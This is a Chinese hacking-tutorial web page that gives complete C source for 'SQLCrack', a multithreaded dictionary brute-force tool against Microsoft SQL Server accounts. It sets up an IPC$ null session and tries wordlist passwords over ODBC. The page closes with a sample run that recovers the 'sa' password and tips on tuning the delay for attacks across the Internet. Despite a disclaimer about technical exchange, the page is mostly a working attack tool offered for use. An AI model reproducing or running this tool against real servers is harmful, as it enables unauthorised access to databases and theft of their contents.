※黑客攻防指南※===>黑客入门==>如何破解MS SQL SERCVER密码
如何破解MS SQL SERCVER密码

此程序只作技术交流之用,如用于不法用途,作者不负任何责任!!

  这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。

//程序所用到的头文件
#include 〈stdio.h〉
#include 〈windows.h〉
#include 〈wchar.h〉
#include 〈lmcons.h〉
#include 〈sql.h〉
#include 〈sqlext.h〉
#include 〈winnetwk.h〉
#include 〈time.h〉

//定义全局变量
char dict[20000][40],//准备探测的密码
    UserName[40],//用户名
    target[40],//目标服务器
    passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
BOOL Cracked=FALSE;//探测密码成功时此值为TRUE

//
//函数:usage
//功能:显示程序帮助信息
//
void usage()
{
    printf("\nPower by analyzer〈inmiao@163.com〉"
    "\nhttp://www.infocn.com"
    "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
    "\nExample:SQLCrack 192.168.0.1 sa c:\\pwd.dic 50\n");
    return;
}


//
//函数:ReadDic
//功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码
//说明:函数运行失败返回值1,成功返回0
//
int ReadDic(char *dic)
{
    FILE *fp;
    char tmp[40];
    
    //打开字典文件
    if((fp=fopen(dic,"r"))==NULL)
    {
    printf("\nCan't open %s",dic);
    return 1;
    }
    
    while(!feof(fp))
    {
    //读取数据到临时变量
    if(fgets(tmp,40,fp)==NULL)
    break;
    //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了
    strncpy(dict[total],tmp,strlen(tmp)-1);
    total++;
    //因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环
    //不然就会溢出啦.可以自行调准
    if(total〉=20000)
    break;
    }    
    fclose(fp);
    return 0;
}

//
//函数:ConnIPC
//功能:建立IPC连接
//说明:连接失败返回值1,成功返回值0
//
int ConnIPC(char *RemoteName)
{
    NETRESOURCE nr;
    DWORD flags=CONNECT_UPDATE_PROFILE;
    TCHAR RN[30]="\\\\",
     LN[5]="";

    strcat(RN,RemoteName);
    strcat(RN,"\\ipc$");

    //填充数据结构
    nr.dwType=RESOURCETYPE_DISK;
    nr.lpLocalName=(LPTSTR)&LN;
    nr.lpRemoteName=(LPTSTR)&RN;
    nr.lpProvider=NULL;

    if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
    {
    return 0;
    }
    else
    {
    return 1;
    }
}

//
//函数:DelIPC
//功能:断开IPC Session
//说明:成功返回值0,否则返回1
//
int DelIPC(char *RemoteName)
{
    DWORD ret;
    TCHAR lpName[30]="\\\\";

    strcat(lpName,RemoteName);
    strcat(lpName,"\\ipc$");

    ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
    if(ret==NO_ERROR)
    {
    return 0;
    }
    else
    {
    return 1;
    }
}
//
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server,探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd)
{
    //定义局部变量
    char szBuffer[1025];
    char *pwd;
    SWORD swStrLen;
    SQLHDBC hdbc;
    SQLHANDLE henv;
    SQLRETURN retcode;//ODBC API运行返回值
    SCHAR ConnStr[200];//连接数据库字符串

    //取得传递过来准备探测的密码
    pwd=(char *)pPwd;

    //构造连接数据库字符
    strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
    strcat(ConnStr,target);
    strcat(ConnStr,";UID=");
    strcat(ConnStr,UserName);
    strcat(ConnStr,";PWD=");
    strcat(ConnStr,pwd);
    strcat(ConnStr,";DATABASE=master");
    //puts(ConnStr);
    
    //创建数据库应用的环境句柄
    if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
    {
    printf("\nAllocate environment handle failed.\n");
    return 0;
    }
    //printf("henv..");
    //设置ODBC版本环境
    if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
    SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
    {
    printf("\nSet the ODBC version environment attribute failed.\n");
    SQLFreeHandle(SQL_HANDLE_ENV, henv);
    return 0;
    }
    //printf("ODBC ver..");
    //创建连接句柄
    if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
    *)&hdbc)) != SQL_SUCCESS)
    {
    printf("\nAllocate connection handle failed.\n");
    SQLFreeHandle(SQL_HANDLE_ENV, henv);
    return 0;    
    }
    //printf("hdbc..");
    //连接数据源
    retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
            szBuffer,sizeof(szBuffer),&swStrLen,
            SQL_DRIVER_COMPLETE_REQUIRED);
    //printf("conn..");
    if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
    {
    //连接失败,函数终止
    //printf("\nCouldn't connect to %s MSSQL server.\n",target);
    SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
    SQLFreeHandle(SQL_HANDLE_ENV, henv);
    return 0;
    }
    //连接远程MSSQL Server数据库成功
    Cracked=TRUE;
    strcpy(passwd,pwd);
    //puts(szBuffer);
    //显示连接远程数据库的字符串
    
    //断开连接
    SQLDisconnect(hdbc);
    //printf("disconn..");
    //释放连接句柄
    SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
    //printf("free hdbc..");
    //释放环境句柄
    SQLFreeHandle(SQL_HANDLE_ENV, henv);
    //printf("free henv..\n");

    return 0;
}

//
//程序入口点函数:main
//
int main(int argc,char **argv)
{
    HANDLE hThread;//线程句柄
    DWORD dwThreadId;
    int i=0,err=0,
    SleepTime;//每开一个线程后的挂起时间
    clock_t start,end;//程序运行的起始和结束时间
    double duration;

    //检查用户输入参数,参数不足调用函数usage显示帮助信息并退出程序
    if(argc!=5)
    {
    usage();
    return 1;
    }
    //取得并检查用户输入的挂起时间
    SleepTime=atoi(argv[4]);
    if((SleepTime〉1000) || (SleepTime〈20))
    {
    usage();
    return 1;
    }
    //取得目标地址,用户名
    strcpy(target,argv[1]);
    strcpy(UserName,argv[2]);
    //读取字典中的单词到内存中
    if(ReadDic(argv[3])!=0)
    return 1;
    //for(i=0;i〈total;i++)
    //    printf("[%s]--〉%d",dict[i],strlen(dict[i]));
    //与目标机器建立IPC Session
    if(ConnIPC(argv[1])!=0)
    {
    printf("\nCan't built IPC NULL Session!");    
    return 1;
    }
    else
    {
    printf("\nBuilt IPC NULL Session success!\n");
    }
    //开始计时
    start=clock();
    //开始建立线程探测密码
    for(i=0;i〈total;i++)
    {
    //探测密码成功后跳出此循环
    if(Cracked==TRUE)
    break;
    //显示进度信息
    printf("\n[%d/%d] %s -〉 %s -〉 %s",i+1,total,target,UserName,dict[i]);
    //创建线程
    hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
    if(hThread==NULL)
    {
    err++;
    if(err==50)
    {
        MessageBox(NULL,"thread error","error",MB_OK);
        break;
    }
    }
    CloseHandle(hThread);
    //每开一个线程挂起一段时间,确保探测结果的正确性和系统的稳定
    Sleep(SleepTime);
    }
    //断开与目标机器的IPC Session
    DelIPC(target);
    //挂起一段时间,等待所有线程结束
    Sleep(1000);
    //探测密码成功后回显信息
    if(Cracked==TRUE)
    printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
    //记时结束
    end=clock();
    //转换时间格式
    duration = (double)(end - start) / CLOCKS_PER_SEC;
    //显示所用时间
    printf("\n\nComplete.Use %2.1f seconds.\n",duration);    
    return 0;
}

  以上程序在windows2000,vc++6.0环境下编译通过。以下我在LAN中测试此程序时的一些情况:

c:\〉 SQLCrack.exe
Power by analyzer〈inmiao@163.com〉
http://www.infocn.com
Usage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉
Example:SQLCrack 192.168.0.1 sa c:\pwd.dic 50
c:\〉 SQLCrack.exe 192.0.0.81 sa c:\password.Dic 20
Built IPC NULL Session success!
[1/1870] 192.0.0.81 -〉 sa -〉 !@#$%
[2/1870] 192.0.0.81 -〉 sa -〉 !@#$%^
[3/1870] 192.0.0.81 -〉 sa -〉 !@#$%^&
[4/1870] 192.0.0.81 -〉 sa -〉 !@#$%^&*
[5/1870] 192.0.0.81 -〉 sa -〉 *
[6/1870] 192.0.0.81 -〉 sa -〉 000000
[7/1870] 192.0.0.81 -〉 sa -〉 00000000
[8/1870] 192.0.0.81 -〉 sa -〉 0007
此处略去输出结果若干……
[1827/1870] 192.0.0.81 -〉 sa -〉 winter
[1828/1870] 192.0.0.81 -〉 sa -〉 wisdom
[1829/1870] 192.0.0.81 -〉 sa -〉 wizard
[1830/1870] 192.0.0.81 -〉 sa -〉 wolf
[1831/1870] 192.0.0.81 -〉 sa -〉 wolf1
[1832/1870] 192.0.0.81 -〉 sa -〉 loveyou
Success!192.0.0.81 SQL Server User [sa] passwd is [loveyou].
Complete.Use 76.1 seconds.
C:\〉

  用时一分钟多一点,探测密码1800多次,最终探测成功!另外,因为在LAN中速度比较快,所以我在运行程序时,输入的SleepTime为20,意思是每隔20毫秒开一个线程。在Internet做测试的时候,请根据网速自行调准SleepTime,建议SleepTime设置为200左右,如果SleepTime设置较小,而网速不快的话,容易出现漏报现象,那就探测不出正确的密码了。

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve